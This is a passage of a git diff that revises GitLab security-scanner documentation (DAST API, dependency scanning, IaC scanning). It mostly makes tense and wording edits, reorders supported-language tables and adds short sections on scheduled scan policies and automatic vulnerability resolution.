+5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# DAST API **(ULTIMATE)** +# DAST API analyzer **(ULTIMATE)** > DAST API analyzer [became the default analyzer for on-demand DAST API scans](https://gitlab.com/groups/gitlab-org/-/epics/4254) in GitLab 15.6. Perform Dynamic Application Security Testing (DAST) of web APIs to help discover bugs and potential security issues that other QA processes may miss. Use DAST API tests in addition to -[GitLab Secure](../index.md)'s other security scanners and your own test processes. You can run DAST +other [GitLab Secure](../index.md) security scanners and your own test processes. You can run DAST API tests either as part your CI/CD workflow, [on-demand](../dast/proxy-based.md#on-demand-scans), or both. WARNING: @@ -1161,7 +1161,7 @@ Example usage for setting a `body-json` override: } ``` -Note that each JSON property name in the object `body-json` is set to a [JSON Path](https://goessner.net/articles/JsonPath/) +Each JSON property name in the object `body-json` is set to a [JSON Path](https://goessner.net/articles/JsonPath/) expression. The JSON Path expression `$.credentials.access-token` identifies the node to be overridden with the value `iddqd!42.$`. The override engine uses `body-json` when the request body has only [JSON](https://www.json.org/json-en.html) content. @@ -1200,7 +1200,7 @@ the second entry overrides an XML element: } ``` -Note that each JSON property name in the object `body-xml` is set to an +Each JSON property name in the object `body-xml` is set to an [XPath v2](https://www.w3.org/TR/xpath20/) expression. The XPath expression `/credentials/@isEnabled` identifies the attribute node to override with the value `true`. The XPath expression `/credentials/access-token/text()` identifies the @@ -1340,7 +1340,7 @@ By default the output of the overrides command is hidden. If the overrides comma It is also possible to write messages from your script to a log file that is collected when the job completes or fails. The log file must be created in a specific location and following a naming convention. -Adding some basic logging to your overrides script is useful in case the script fails unexpectedly during normal running of the job. The log file is automatically included as an artifact of the job, allowing you to download it after the job has finished. +Adding some basic logging to your overrides script is useful in case the script fails unexpectedly during standard running of the job. The log file is automatically included as an artifact of the job, allowing you to download it after the job has finished. Following our example, we provided `renew_token.py` in the environment variable `DAST_API_OVERRIDES_CMD`. Notice two things in the script: @@ -1449,7 +1449,7 @@ logging.info("Override file has been updated") # end ``` -In the overrides command example, the Python script depends on the `backoff` library. To make sure the library is installed before executing the Python script, the `DAST_API_PRE_SCRIPT` is set to a script that will install the dependencies of your overrides command. +In the overrides command example, the Python script depends on the `backoff` library. To make sure the library is installed before executing the Python script, the `DAST_API_PRE_SCRIPT` is set to a script that installs the dependencies of your overrides command. As for example, the following script `user-pre-scan-set-up.sh` ```shell @@ -1495,7 +1495,7 @@ In the previous sample, you could use the script `user-pre-scan-set-up.sh` to al The request headers feature lets you specify fixed values for the headers during the scan session. For example, you can use the configuration variable `DAST_API_REQUEST_HEADERS` to set a fixed value in the `Cache-Control` header. If the headers you need to set include sensitive values like the `Authorization` header, use the [masked variable](../../../ci/variables/index.md#mask-a-cicd-variable) feature along with the [variable `DAST_API_REQUEST_HEADERS_BASE64`](#base64). -Note that if the `Authorization` header or any other header needs to get updated while the scan is in progress, consider using the [overrides](#overrides) feature. +If the `Authorization` header or any other header needs to get updated while the scan is in progress, consider using the [overrides](#overrides) feature. The variable `DAST_API_REQUEST_HEADERS` lets you specify a comma-separated (`,`) list of headers. These headers are included on each request that the scanner performs. Each header entry in the list consists of a name followed by a colon (`:`) and then by its value. Whitespace before the key or value is ignored. For example, to declare a header name `Cache-Control` with the value `max-age=604800`, the header entry is `Cache-Control: max-age=604800`. To use two headers, `Cache-Control: max-age=604800` and `Age: 100`, set `DAST_API_REQUEST_HEADERS` variable to `Cache-Control: max-age=604800, Age: 100`. @@ -1606,7 +1606,7 @@ variables: While testing an API you may might want to exclude a parameter (query string, header, or body element) from testing. This may be needed because a parameter always causes a failure, slows down testing, or for other reasons. To exclude parameters, you can set one of the following variables: `DAST_API_EXCLUDE_PARAMETER_ENV` or `DAST_API_EXCLUDE_PARAMETER_FILE`. -The `DAST_API_EXCLUDE_PARAMETER_ENV` allows providing a JSON string containing excluded parameters. This is a good option if the JSON is short and will not often change. Another option is the variable `DAST_API_EXCLUDE_PARAMETER_FILE`. This variable is set to a file path that can be checked into the repository, created by another job as an artifact, or generated at runtime with a pre-script using `DAST_API_PRE_SCRIPT`. +The `DAST_API_EXCLUDE_PARAMETER_ENV` allows providing a JSON string containing excluded parameters. This is a good option if the JSON is short and does not change often. Another option is the variable `DAST_API_EXCLUDE_PARAMETER_FILE`. This variable is set to a file path that can be checked into the repository, created by another job as an artifact, or generated at runtime with a pre-script using `DAST_API_PRE_SCRIPT`. #### Exclude parameters using a JSON document @@ -1833,7 +1833,7 @@ The `dast-api-exclude-parameters.json` is a JSON document that follows the struc > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357195) in GitLab 14.10. -As an alternative to excluding by paths, you can filter by any other component in the URL by using the `DAST_API_EXCLUDE_URLS` CI/CD variable. This variable can be set in your `.gitlab-ci.yml` file. The variable can store multiple values, separated by commas (`,`). Each value is a regular expression. Because each entry is a regular expression, an entry like `.*` will exclude all URLs because it is a regular expression that matches everything. +As an alternative to excluding by paths, you can filter by any other component in the URL by using the `DAST_API_EXCLUDE_URLS` CI/CD variable. This variable can be set in your `.gitlab-ci.yml` file. The variable can store multiple values, separated by commas (`,`). Each value is a regular expression. Because each entry is a regular expression, an entry like `.*` excludes all URLs because it is a regular expression that matches everything. In your job output you can check if any URLs matched any provided regular expression from `DAST_API_EXCLUDE_URLS`. Matching operations are listed in the **Excluded Operations** section. Operations listed in the **Excluded Operations** should not be listed in the **Tested Operations** section. For example the following portion of a job output: @@ -1888,7 +1888,7 @@ variables: ##### Excluding two URLs and their child resources -In order to exclude the URLs: `http://target/api/buy` and `http://target/api/sell`, and their child resources. To provide multiple URLs we use the `,` character as follows: +To exclude the URLs: `http://target/api/buy` and `http://target/api/sell`, and their child resources. To provide multiple URLs we use the `,` character as follows: ```yaml stages: @@ -1905,7 +1905,7 @@ variables: ##### Excluding URL using regular expressions -In order to exclude exactly `https://target/api/v1/user/create` and `https://target/api/v2/user/create` or any other version (`v3`,`v4`, and more). We could use `https://target/api/v.*/user/create$`, in the previous regular expression `.` indicates any character and `*` indicates zero or more times, additionally `$` indicates that the URL should end there. +To exclude exactly `https://target/api/v1/user/create` and `https://target/api/v2/user/create` or any other version (`v3`,`v4`, and more). We could use `https://target/api/v.*/user/create$`, in the previous regular expression `.` indicates any character and `*` indicates zero or more times, additionally `$` indicates that the URL should end there. ```yaml stages: @@ -1922,7 +1922,7 @@ variables: ## Running your first scan -When configured correctly, a CI/CD pipeline contains a `dast` stage and an `dast_api` job. The job only fails when an invalid configuration is provided. During normal operation, the job always succeeds even if vulnerabilities are identified during testing. +When configured correctly, a CI/CD pipeline contains a `dast` stage and an `dast_api` job. The job only fails when an invalid configuration is provided. During typical operation, the job always succeeds even if vulnerabilities are identified during testing. Vulnerabilities are displayed on the **Security** pipeline tab with the suite name. When testing against the repositories default branch, the DAST API vulnerabilities are also shown on the Security & Compliance's Vulnerability Report page. @@ -1941,7 +1941,7 @@ Follow these steps to view details of a vulnerability: 1. You can view vulnerabilities in a project, or a merge request: - - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report** + - In a project, go to the project's **Security & Compliance > Vulnerability Report** page. This page shows all vulnerabilities from the default branch only. - In a merge request, go the merge request's **Security** section and select the **Expand** button. DAST API vulnerabilities are available in a section labeled @@ -1957,7 +1957,7 @@ Follow these steps to view details of a vulnerability: | Method | HTTP method used to detect the vulnerability. | | URL | URL at which the vulnerability was detected. | | Request | The HTTP request that caused the vulnerability. | - | Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. | + | Unmodified Response | Response from an unmodified request. This is what a typical working response looks like.| | Actual Response | Response received from test request. | | Evidence | How we determined a vulnerability occurred. | | Identifiers | The DAST API check used to find this vulnerability. | @@ -2274,7 +2274,7 @@ dast_api_v2: In the case of one or two slow operations, the team might decide to skip testing the operations, or exclude them from feature branch tests, but include them for default branch tests. Excluding the operation is done using the `DAST_API_EXCLUDE_PATHS` configuration [variable as explained in this section.](#exclude-paths) -In this example, we have an operation that returns a large amount of data. The operation is `GET http://target:7777/api/large_response_json`. To exclude it we provide the `DAST_API_EXCLUDE_PATHS` configuration variable with the path portion of our operation URL `/api/large_response_json`. Our configuration disables the main `dast_api` job and creates two new jobs `dast_api_main` and `dast_api_branch`. The `dast_api_branch` is set up to exclude the long operation and only run on non-default branches (e.g. feature branches). The `dast_api_main` branch is set up to only execute on the default branch (`main` in this example). The `dast_api_branch` jobs run faster, allowing for quick development cycles, while the `dast_api_main` job which only runs on default branch builds, takes longer to run. +In this example, we have an operation that returns a large amount of data. The operation is `GET http://target:7777/api/large_response_json`. To exclude it we provide the `DAST_API_EXCLUDE_PATHS` configuration variable with the path portion of our operation URL `/api/large_response_json`. Our configuration disables the main `dast_api` job and creates two new jobs `dast_api_main` and `dast_api_branch`. The `dast_api_branch` is set up to exclude the long operation and only run on non-default branches (for example, feature branches). The `dast_api_main` branch is set up to only execute on the default branch (`main` in this example). The `dast_api_branch` jobs run faster, allowing for quick development cycles, while the `dast_api_main` job which only runs on default branch builds, takes longer to run. To verify the operation is excluded, run the DAST API job and review the job console output. It includes a list of included and excluded operations at the end of the test. @@ -2368,7 +2368,7 @@ The DAST API engine outputs an error message when it cannot establish a connecti **Solution** -- Remove the `DAST_API_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the DAST API CI/CD template. We recommend this method instead of manually setting a value. +- Remove the `DAST_API_API` variable from the `.gitlab-ci.yml` file. The value inherits from the DAST API CI/CD template. We recommend this method instead of manually setting a value. - If removing the variable is not possible, check to see if this value has changed in the latest version of the [DAST API CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. ### `Failed to start session with scanner. Please retry, and if the problem persists reach out to support.` @@ -2412,9 +2412,9 @@ Once you have confirmed the issue was produced because the port was already take The DAST API engine outputs an error message when it cannot determine the target API after inspecting the OpenAPI document. This error message is shown when the target API has not been set in the `.gitlab-ci.yml` file, it is not available in the `environment_url.txt` file, and it could not be computed using the OpenAPI document. -There is a order of precedence in which the DAST API engine tries to get the target API when checking the different sources. First, it will try to use the `DAST_API_TARGET_URL`. If the environment variable has not been set, then the DAST API engine will attempt to use the `environment_url.txt` file. If there is no file `environment_url.txt`, then the DAST API engine will use the OpenAPI document contents and the URL provided in `DAST_API_OPENAPI` (if a URL is provided) to try to compute the target API. +There is a order of precedence in which the DAST API engine tries to get the target API when checking the different sources. First, it tries to use the `DAST_API_TARGET_URL`. If the environment variable has not been set, then the DAST API engine attempts to use the `environment_url.txt` file. If there is no file `environment_url.txt`, then the DAST API engine uses the OpenAPI document contents and the URL provided in `DAST_API_OPENAPI` (if a URL is provided) to try to compute the target API. -The best-suited solution will depend on whether or not your target API changes for each deployment. In static environments, the target API is the same for each deployment, in this case refer to the [static environment solution](#static-environment-solution). If the target API changes for each deployment a [dynamic environment solution](#dynamic-environment-solutions) should be applied. +The best-suited solution depends on whether or not your target API changes for each deployment. In static environments, the target API is the same for each deployment, in this case refer to the [static environment solution](#static-environment-solution). If the target API changes for each deployment a [dynamic environment solution](#dynamic-environment-solutions) should be applied. #### Static environment solution @@ -2498,7 +2498,7 @@ variables: ### `No operation in the OpenAPI document is consuming any supported media type` -DAST API uses the specified media types in the OpenAPI document to generate requests. If no request can be created due to the lack of supported media types, then an error will be thrown. +DAST API uses the specified media types in the OpenAPI document to generate requests. If no request can be created due to the lack of supported media types, then an error is thrown. **Error message** diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md index 9fffdec2612..b86d98471ac 100644 --- a/doc/user/application_security/dependency_list/index.md +++ b/doc/user/application_security/dependency_list/index.md @@ -81,7 +81,7 @@ You can download your project's full list of dependencies and their details in ### In the UI -You can download your project's list of dependencies and their details in JSON format by selecting the **Export** button. Note that the dependency list only shows the results of the last successful pipeline to run on the default branch. +You can download your project's list of dependencies and their details in JSON format by selecting the **Export** button. The dependency list only shows the results of the last successful pipeline to run on the default branch. ### Using the API diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md index d13c4cecdf4..4feac0cb5e6 100644 --- a/doc/user/application_security/dependency_scanning/analyzers.md +++ b/doc/user/application_security/dependency_scanning/analyzers.md @@ -100,7 +100,7 @@ The following table lists the data available for the Gemnasium analyzer. | Property \ Tool | Gemnasium | |---------------------------------------|:------------------:| -| Severity | 𐄂 | +| Severity | ✓ | | Title | ✓ | | File | ✓ | | Start line | 𐄂 | diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index 8106201cb99..579dd4dfc4f 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -59,7 +59,7 @@ possible, we encourage you to use all of our security scanning tools: Turning this variable on can result in some duplicate findings, as we do not yet de-duplicate results between Container Scanning and Dependency Scanning. For more details, efforts to de-duplicate these findings can be tracked in - [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/348655). + [this epic](https://gitlab.com/groups/gitlab-org/-/epics/8026). The following table summarizes which types of dependencies each scanning tool can detect: @@ -155,23 +155,14 @@ table.supported-languages ul { </thead> <tbody> <tr> - <td>Ruby</td> - <td>All versions</td> - <td><a href="https://bundler.io/">Bundler</a></td> - <td> - <ul> - <li><code>Gemfile.lock</code></li> - <li><code>gems.locked</code></li> - </ul> - </td> - <td>Y</td> + <td>.NET</td> + <td rowspan="2">All versions</td> + <td rowspan="2"><a href="https://www.nuget.org/">NuGet</a></td> + <td rowspan="2"><a href="https://learn.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file"><code>packages.lock.json</code></a></td> + <td rowspan="2">Y</td> </tr> <tr> - <td>PHP</td> - <td>All versions</td> - <td><a href="https://getcomposer.org/">Composer</a></td> - <td><code>composer.lock</code></td> - <td>Y</td> + <td>C#</td> </tr> <tr> <td>C</td> @@ -226,7 +217,7 @@ table.supported-languages ul { <td><a href="https://www.npmjs.com/">npm</a></td> <td> <ul> - <li><code>package-lock.json</code><sup><b><a href="#notes-regarding-supported-languages-and-package-managers-3">3</a></b></sup></li> + <li><code>package-lock.json</code></li> <li><code>npm-shrinkwrap.json</code></li> </ul> </td> @@ -239,14 +230,11 @@ table.supported-languages ul { <td>Y</td> </tr> <tr> - <td>.NET</td> - <td rowspan="2">All versions</td> - <td rowspan="2"><a href="https://www.nuget.org/">NuGet</a></td> - <td rowspan="2"><a href="https://learn.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file"><code>packages.lock.json</code></a></td> - <td rowspan="2">Y</td> - </tr> - <tr> - <td>C#</td> + <td>PHP</td> + <td>All versions</td> + <td><a href="https://getcomposer.org/">Composer</a></td> + <td><code>composer.lock</code></td> + <td>Y</td> </tr> <tr> <td rowspan="4">Python</td> @@ -282,6 +270,18 @@ table.supported-languages ul { <td>N</td> </tr> <tr> + <td>Ruby</td> + <td>All versions</td> + <td><a href="https://bundler.io/">Bundler</a></td> + <td> + <ul> + <li><code>Gemfile.lock</code></li> + <li><code>gems.locked</code></li> + </ul> + </td> + <td>Y</td> + </tr> + <tr> <td>Scala</td> <td>All versions</td> <td><a href="https://www.scala-sbt.org/">sbt</a><sup><b><a href="#notes-regarding-supported-languages-and-package-managers-6">6</a></b></sup></td> @@ -307,16 +307,10 @@ table.supported-languages ul { </p> </li> <li> - <a id="notes-regarding-supported-languages-and-package-managers-3"></a> - <p> - npm is supported for <code>lockfileVersion = 1</code>, <code>lockfileVersion = 2</code>, and <code>lockfileVersion = 3</code>. Support for <code>lockfileVersion = 3</code> was <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/365176">introduced</a> in GitLab 15.7. - </p> - </li> - <li> <a id="notes-regarding-supported-languages-and-package-managers-4"></a> <p> The presence of a <code>Pipfile.lock</code> file alone will <i>not</i> trigger the analyzer; the presence of a <code>Pipfile</code> is - still required in order for the analyzer to be executed. However, if a <code>Pipfile.lock</code> file is found, it will be used by + still required in order for the analyzer to be executed. However, if a <code>Pipfile.lock</code> file is found, it is used by <code>Gemnasium</code> to scan the exact package versions listed in this file. </p> <p> @@ -360,7 +354,7 @@ The following package managers use lockfiles that GitLab analyzers are capable o | Conan | 0.4 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/c-conan/default/conan.lock#L38) | | Go | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/go-modules/gosum/default/go.sum) <sup><strong><a href="#notes-regarding-parsing-lockfiles-1">1</a></strong></sup> | | NuGet | v1 | [4.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/csharp-nuget-dotnetcore/default/src/web.api/packages.lock.json#L2) | -| npm | v1, v2, v3 | [6.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/default/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/lockfileVersion2/package-lock.json#L4), [9.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/scanner/parser/npm/fixtures/lockfile-v3/simple/package-lock.json#L4) | +| npm | v1, v2, v3<sup><b><a href="#notes-regarding-parsing-lockfiles-2">2</a></b></sup> | [6.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/default/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/lockfileVersion2/package-lock.json#L4), [9.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/scanner/parser/npm/fixtures/lockfile-v3/simple/package-lock.json#L4) | | yarn | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-yarn/default/yarn.lock#L2) | | Poetry | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/python-poetry/default/poetry.lock) | @@ -369,10 +363,16 @@ The following package managers use lockfiles that GitLab analyzers are capable o <li> <a id="notes-regarding-parsing-lockfiles-1"></a> <p> - Dependency Scanning will only parse <code>go.sum</code> if it's unable to generate the build list + Dependency Scanning only parses <code>go.sum</code> if it's unable to generate the build list used by the Go project. </p> </li> + <li> + <a id="notes-regarding-parsing-lockfiles-2"></a> + <p> + Support for <code>lockfileVersion = 3</code> was <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/365176">introduced</a> in GitLab 15.7. + </p> + </li> </ol> <!-- markdownlint-enable MD044 --> @@ -431,7 +431,7 @@ To support the following package managers, the GitLab analyzers proceed in two s <li> <a id="exported-dependency-information-notes-3"></a> <p> - This test confirms that if a <code>Pipfile.lock</code> file is found, it will be used by <a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium">Gemnasium</a> to scan the exact package versions listed in this file. + This test confirms that if a <code>Pipfile.lock</code> file is found, it is used by <a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium">Gemnasium</a> to scan the exact package versions listed in this file. </p> </li> <li> @@ -659,7 +659,7 @@ The following variables are used for configuring specific analyzers (used for a #### Other variables -The previous tables are not an exhaustive list of all variables that can be used. They contain all specific GitLab and analyzer variables we support and test. There are many variables, such as environment variables, that you can pass in and they will work. This is a large list, many of which we may be unaware of, and as such is not documented. +The previous tables are not an exhaustive list of all variables that can be used. They contain all specific GitLab and analyzer variables we support and test. There are many variables, such as environment variables, that you can pass in and they do work. This is a large list, many of which we may be unaware of, and as such is not documented. For example, to pass the non-GitLab environment variable `HTTPS_PROXY` to all Dependency Scanning jobs, set it as a [CI/CD variable in your `.gitlab-ci.yml`](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) @@ -678,7 +678,7 @@ dependency_scanning: HTTPS_PROXY: $HTTPS_PROXY ``` -As we have not tested all variables you may find some will work and others will not. +As we have not tested all variables you may find some do work and others do not. If one does not work and you need it we suggest [submitting a feature request](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal%20-%20detailed&issue[title]=Docs%20feedback%20-%20feature%20proposal:%20Write%20your%20title) or [contributing to the code](../../../development/index.md) to enable it to be used. @@ -966,7 +966,7 @@ Here are the requirements for using dependency scanning in an offline environmen This advisory database is constantly being updated, so you must periodically sync your local copy with GitLab. -Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), +GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), meaning the runner tries to pull Docker images from the GitLab container registry even if a local copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we @@ -1262,7 +1262,7 @@ analyzers, edit your `.gitlab-ci.yml` file and either: [our current Dependency Scanning template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml#L18). - If you hardcoded the `DS_ANALYZER_IMAGE` variable directly, change it to match the latest line as found in our [current Dependency Scanning template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml). - The line number will vary depending on which scanning job you edited. + The line number varies depending on which scanning job you edited. For example, currently the `gemnasium-maven-dependency_scanning` job pulls the latest `gemnasium-maven` Docker image because `DS_ANALYZER_IMAGE` is set to @@ -1274,7 +1274,7 @@ Support for [2to3](https://docs.python.org/3/library/2to3.html) was [removed](https://setuptools.pypa.io/en/latest/history.html#v58-0-0) in `setuptools` version `v58.0.0`. Dependency Scanning (running `python 3.9`) uses `setuptools` version `58.1.0+`, which doesn't support `2to3`. Therefore, a `setuptools` dependency relying on -`lib2to3` will fail with this message: +`lib2to3` fails with this message: ```plaintext error in <dependency name> setup command: use_2to3 is invalid @@ -1313,12 +1313,12 @@ To avoid this error, follow [Poetry's configuration advice](https://python-poetr ### Error: Project has `<number>` unresolved dependencies -The error message `Project has <number> unresolved dependencies` indicates a dependency resolution problem caused by your `gradle.build` or `gradle.build.kts` file. In the current release, `gemnasium-maven` cannot continue processing when an unresolved dependency is encountered. However, There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/337083) to allow `gemnasium-maven` to recover from unresolved dependency errors and produce a dependency graph. Until this issue has been resolved, you'll need to consult the [Gradle dependency resolution docs](https://docs.gradle.org/current/userguide/dependency_resolution.html) for details on how to fix your `gradle.build` file. +The error message `Project has <number> unresolved dependencies` indicates a dependency resolution problem caused by your `gradle.build` or `gradle.build.kts` file. In the current release, `gemnasium-maven` cannot continue processing when an unresolved dependency is encountered. However, There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/337083) to allow `gemnasium-maven` to recover from unresolved dependency errors and produce a dependency graph. Until this issue has been resolved, consult the [Gradle dependency resolution docs](https://docs.gradle.org/current/userguide/dependency_resolution.html) for details on how to fix your `gradle.build` file. ### Setting build constraints when scanning Go projects Dependency scanning runs within a `linux/amd64` container. As a result, the build list generated -for a Go project will contain dependencies that are compatible with this environment. If your deployment environment is not +for a Go project contains dependencies that are compatible with this environment. If your deployment environment is not `linux/amd64`, the final list of dependencies might contain additional incompatible modules. The dependency list might also omit modules that are only compatible with your deployment environment. To prevent this issue, you can configure the build process to target the operating system and architecture of the deployment diff --git a/doc/user/application_security/get-started-security.md b/doc/user/application_security/get-started-security.md index 5774bf940b0..c1524c4b517 100644 --- a/doc/user/application_security/get-started-security.md +++ b/doc/user/application_security/get-started-security.md @@ -9,14 +9,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Adopting GitLab application security](https://www.youtube.com/watch?v=5QlxkiKR04k). -The following steps will help you get the most from GitLab application security tools. These steps are a recommended order of operations. You can choose to implement capabilities in a different order or omit features that do not apply to your specific needs. +The following steps help you get the most from GitLab application security tools. These steps are a recommended order of operations. You can choose to implement capabilities in a different order or omit features that do not apply to your specific needs. 1. Enable [Secret Detection](secret_detection/index.md) and [Dependency Scanning](dependency_scanning/index.md) to identify any leaked secrets and vulnerable packages in your codebase. - For all security scanners, enable them by updating your [`.gitlab-ci.yml`](../../ci/yaml/gitlab_ci_yaml.md) directly on your `default` branch. This creates a baseline scan of your `default` branch, which is necessary for feature branch scans to be compared against. This allows [merge requests](../project/merge_requests/index.md) - to display only newly-introduced vulnerabilities. Otherwise, merge requests will display every + to display only newly-introduced vulnerabilities. Otherwise, merge requests display every vulnerability in the branch, regardless of whether it was introduced by a change in the branch. - If you are after simplicity, enable only Secret Detection first. It only has one analyzer, no build requirements, and relatively simple findings: is this a secret or not? @@ -27,8 +27,9 @@ The following steps will help you get the most from GitLab application security 1. Consider creating [labels](../project/labels.md) and [issue boards](../project/issue_board.md) to help manage issues created from vulnerabilities. Issue boards allow all stakeholders to have a common view of all issues and track remediation progress. -1. Use [scheduled pipelines](../../ci/pipelines/schedules.md#scheduled-pipelines) to regularly scan important branches such as `default` or those used for maintenance releases. - - Running regular dependency and [container scans](container_scanning/index.md) will surface newly-discovered vulnerabilities that already exist in your repository. +1. Enforce scheduled security scanning jobs by using a [scan execution policy](policies/scan-execution-policies.md). + - These scheduled jobs run independently from any other security scans you may have defined in a compliance framework pipeline or in the project's `.gitlab-ci.yml` file. + - Running regular dependency and [container scans](container_scanning/index.md) surface newly-discovered vulnerabilities that already exist in your repository. - Scheduled scans are most useful for projects or important branches with low development activity where pipeline scans are infrequent. 1. Create a [scan result policy](policies/index.md) to limit new vulnerabilities from being merged into your `default` branch. @@ -36,7 +37,7 @@ The following steps will help you get the most from GitLab application security remediating existing vulnerabilities and preventing the introduction of new ones. 1. Enable other scan types such as [SAST](sast/index.md), [DAST](dast/index.md), [Fuzz testing](coverage_fuzzing/index.md), or [Container Scanning](container_scanning/index.md). -1. Use [Compliance Pipelines](../group/compliance_frameworks.md#configure-a-compliance-pipeline) +1. Use [Compliance Pipelines](../group/compliance_frameworks.md#compliance-pipelines) or [Scan Execution Policies](policies/scan-execution-policies.md) to enforce required scan types and ensure separation of duties between security and engineering. 1. Consider enabling [Review Apps](../../development/testing_guide/review_apps.md) to allow for DAST diff --git a/doc/user/application_security/iac_scanning/index.md b/doc/user/application_security/iac_scanning/index.md index 24448dc9668..c2f1257f989 100644 --- a/doc/user/application_security/iac_scanning/index.md +++ b/doc/user/application_security/iac_scanning/index.md @@ -16,7 +16,7 @@ IaC Scanning supports configuration files for Terraform, Ansible, AWS CloudForma IaC Scanning runs in the `test` stage, which is available by default. If you redefine the stages in the `.gitlab-ci.yml` file, the `test` stage is required. -We recommend a minimum of 4GB RAM to ensure consistent performance. +We recommend a minimum of 4 GB RAM to ensure consistent performance. To run IaC Scanning jobs, by default, you need GitLab Runner with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or @@ -24,7 +24,7 @@ To run IaC Scanning jobs, by default, you need GitLab Runner with the If you're using the shared runners on GitLab.com, this is enabled by default. WARNING: -Our IaC Scanning jobs require a Linux/amd64 container type. Windows containers are not supported. +GitLab IaC Scanning analyzers don't support running on Windows or on any CPU architectures other than amd64. WARNING: If you use your own runners, make sure the Docker version installed @@ -222,13 +222,13 @@ To override the automatic update behavior, set the `SAST_ANALYZER_IMAGE_TAG` CI/ in your CI/CD configuration file after you include the [`SAST-IaC.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST-IaC.gitlab-ci.yml). Only set this variable in a specific job. -If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers. +If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set is used for other SAST analyzers. You can set the tag to: -- A major version, like `3`. Your pipelines will use any minor or patch updates that are released within this major version. -- A minor version, like `3.7`. Your pipelines will use any patch updates that are released within this minor version. -- A patch version, like `3.7.0`. Your pipelines won't receive any updates. +- A major version, like `3`. Your pipelines use any minor or patch updates that are released within this major version. +- A minor version, like `3.7`. Your pipelines use any patch updates that are released within this minor version. +- A patch version, like `3.7.0`. Your pipelines don't receive any updates. This example uses a specific minor version of the `KICS` analyzer: @@ -241,6 +241,19 @@ kics-iac-sast: SAST_ANALYZER_IMAGE_TAG: "3.1" ``` +## Automatic vulnerability resolution + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/368284) in GitLab 15.9 [with a project-level flag](../../../administration/feature_flags.md) named `sec_mark_dropped_findings_as_resolved`. Enabled by default on GitLab.com; disabled by default in self-managed. On GitLab.com, [contact Support](https://about.gitlab.com/support/) if you need to disable the flag for your project. + +To help you focus on the vulnerabilities that are still relevant, GitLab IaC Scanning automatically [resolves](../vulnerabilities/index.md#vulnerability-status-values) vulnerabilities when: + +- You [disable a predefined rule](#disable-predefined-analyzer-rules). +- We remove a rule from the default ruleset. + +The Vulnerability Management system leaves a comment on automatically-resolved vulnerabilities so you still have a historical record of the vulnerability. + +If you re-enable the rule later, the findings are reopened for triage. + ## Reports JSON format The IaC tool emits a JSON report file in the existing SAST report format. For more information, see the @@ -269,3 +282,8 @@ be ineffective or false positives, and the findings are marked as `No longer det - In GitLab 15.3, [secret detection in the KICS SAST IaC scanner was disabled](https://gitlab.com/gitlab-org/gitlab/-/issues/346181), so IaC findings in the "Passwords and Secrets" family show as `No longer detected`. + +### `exec /bin/sh: exec format error` message in job log + +The GitLab IaC Scanning 